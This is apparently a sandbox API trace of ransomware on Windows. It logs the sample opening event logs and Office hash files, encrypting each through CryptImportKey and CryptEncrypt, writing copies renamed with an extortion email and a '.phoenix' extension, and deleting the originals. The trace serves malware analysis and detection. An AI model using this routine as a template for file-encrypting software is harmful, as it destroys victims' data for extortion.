	[0226.567] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0226.567] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0226.567] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0226.567] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0226.567] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1512c0) returned 1
	[0226.567] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0226.567] ReadFile (in: hFile=0x2c4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x11000, lpOverlapped=0x0) returned 1
	[0226.695] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x11010, dwBufLen=0x11010 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x11010) returned 1
	[0226.735] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x11010, lpOverlapped=0x0) returned 1
	[0226.737] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151580) returned 1
	[0226.737] CryptSetKeyParam (hKey=0x151580, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0226.737] CryptEncrypt (in: hKey=0x151580, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x80, dwBufLen=0x80 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x80) returned 1
	[0226.737] CryptDestroyKey (hKey=0x151580) returned 1
	[0226.737] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x132, lpOverlapped=0x0) returned 1
	[0226.737] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0226.737] CloseHandle (hObject=0x2c4) returned 1
	[0226.737] CloseHandle (hObject=0x2c0) returned 1
	[0226.739] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx")) returned 1
	[0226.742] SetEvent (hEvent=0x278) returned 1
	[0226.742] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0226.742] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0226.742] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=1052672) returned 1
	[0226.742] CloseHandle (hObject=0x2c0) returned 1
	[0226.746] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx")) returned 0x20
	[0226.746] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0226.746] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0226.746] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0226.746] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0226.746] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0226.748] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151400) returned 1
	[0226.748] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0226.748] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x101000, lpOverlapped=0x0) returned 1
	[0226.781] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x101010, dwBufLen=0x101010 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x101010) returned 1
	[0226.783] WriteFile (in: hFile=0x2c4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x101010, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x101010, lpOverlapped=0x0) returned 1
	[0226.980] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1512c0) returned 1
	[0226.980] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0226.980] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x90, dwBufLen=0x90 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x90) returned 1
	[0226.980] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0226.980] WriteFile (in: hFile=0x2c4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x142, lpOverlapped=0x0) returned 1
	[0226.980] CryptDestroyKey (hKey=0x151400) returned 1
	[0226.980] CloseHandle (hObject=0x2c0) returned 1
	[0226.980] CloseHandle (hObject=0x2c4) returned 1
	[0227.093] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx")) returned 1
	[0227.094] SetEvent (hEvent=0x278) returned 1
	[0227.094] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0227.094] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0227.095] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=69632) returned 1
	[0227.095] CloseHandle (hObject=0x2c4) returned 1
	[0227.095] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx")) returned 0x20
	[0227.095] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Setup.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\setup.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0227.095] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0227.095] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0227.095] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0227.095] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Setup.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\setup.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0227.096] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151700) returned 1
	[0227.096] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0227.096] ReadFile (in: hFile=0x2c4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x11000, lpOverlapped=0x0) returned 1
	[0227.103] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x11010, dwBufLen=0x11010 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x11010) returned 1
	[0227.103] WriteFile (in: hFile=0x2c8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x11010, lpOverlapped=0x0) returned 1
	[0227.106] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1510c0) returned 1
	[0227.106] CryptSetKeyParam (hKey=0x1510c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0227.106] CryptEncrypt (in: hKey=0x1510c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x40, dwBufLen=0x40 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x40) returned 1
	[0227.106] CryptDestroyKey (hKey=0x1510c0) returned 1
	[0227.106] WriteFile (in: hFile=0x2c8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0xf2, lpOverlapped=0x0) returned 1
	[0227.106] CryptDestroyKey (hKey=0x151700) returned 1
	[0227.106] CloseHandle (hObject=0x2c4) returned 1
	[0227.107] CloseHandle (hObject=0x2c8) returned 1
	[0227.112] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx")) returned 1
	[0227.114] SetEvent (hEvent=0x278) returned 1
	[0227.114] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0227.114] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0227.115] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=1118208) returned 1
	[0227.115] CloseHandle (hObject=0x2c8) returned 1
	[0227.115] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx")) returned 0x20
	[0227.115] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\System.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\system.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0227.115] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0227.115] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0227.115] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0227.115] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\System.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\system.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0227.116] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1511c0) returned 1
	[0227.116] CryptSetKeyParam (hKey=0x1511c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0227.116] ReadFile (in: hFile=0x2c8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x110100, lpOverlapped=0x0) returned 1
	[0227.233] CryptEncrypt (in: hKey=0x1511c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x110100, dwBufLen=0x110100 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x110100) returned 1
	[0227.234] WriteFile (in: hFile=0x2c4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x110100, lpOverlapped=0x0) returned 1
	[0227.256] ReadFile (in: hFile=0x2c8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0xf00, lpOverlapped=0x0) returned 1
	[0227.256] CryptEncrypt (in: hKey=0x1511c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xf10, dwBufLen=0xf10 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xf10) returned 1
	[0227.256] WriteFile (in: hFile=0x2c4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0xf10, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0xf10, lpOverlapped=0x0) returned 1
	[0227.256] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151440) returned 1
	[0227.256] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0227.256] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x40, dwBufLen=0x40 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x40) returned 1
	[0227.256] CryptDestroyKey (hKey=0x151440) returned 1
	[0227.256] WriteFile (in: hFile=0x2c4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0xf2, lpOverlapped=0x0) returned 1
	[0227.256] CryptDestroyKey (hKey=0x1511c0) returned 1
	[0227.256] CloseHandle (hObject=0x2c8) returned 1
	[0227.257] CloseHandle (hObject=0x2c4) returned 1
	[0227.308] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx")) returned 1
	[0227.310] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0227.310] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\s641033.hash" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\en-us.16\\s641033.hash"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0227.314] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=102) returned 1
	[0227.314] CloseHandle (hObject=0x2c4) returned 1
	[0227.314] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\s641033.hash" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\en-us.16\\s641033.hash")) returned 0x20
	[0227.314] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\s641033.hash.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\en-us.16\\s641033.hash.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0227.314] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\s641033.hash" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\en-us.16\\s641033.hash"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0227.314] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0227.314] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0227.314] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\s641033.hash.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\en-us.16\\s641033.hash.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0227.315] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1517c0) returned 1
	[0227.315] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0227.315] ReadFile (in: hFile=0x2c4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x66, lpOverlapped=0x0) returned 1
	[0227.318] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x70, dwBufLen=0x70 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x70) returned 1
	[0227.318] WriteFile (in: hFile=0x2e8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x70, lpOverlapped=0x0) returned 1
	[0227.318] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151440) returned 1
	[0227.318] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0227.319] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x40, dwBufLen=0x40 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x40) returned 1
	[0227.319] CryptDestroyKey (hKey=0x151440) returned 1
	[0227.319] WriteFile (in: hFile=0x2e8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0xf2, lpOverlapped=0x0) returned 1
	[0227.319] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0227.319] CloseHandle (hObject=0x2c4) returned 1
	[0227.319] CloseHandle (hObject=0x2e8) returned 1
	[0227.319] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\s641033.hash" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\en-us.16\\s641033.hash")) returned 1
	[0227.320] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0227.320] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\s640.hash" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\x-none.16\\s640.hash"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0227.322] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=102) returned 1
	[0227.322] CloseHandle (hObject=0x2e8) returned 1
	[0227.322] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\s640.hash" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\x-none.16\\s640.hash")) returned 0x20
	[0227.322] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\s640.hash.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\x-none.16\\s640.hash.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0227.322] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\s640.hash" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\x-none.16\\s640.hash"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0227.323] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0227.323] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0227.323] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\s640.hash.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\x-none.16\\s640.hash.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0227.323] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151400) returned 1
	[0227.323] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0227.323] ReadFile (in: hFile=0x2e8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x66, lpOverlapped=0x0) returned 1
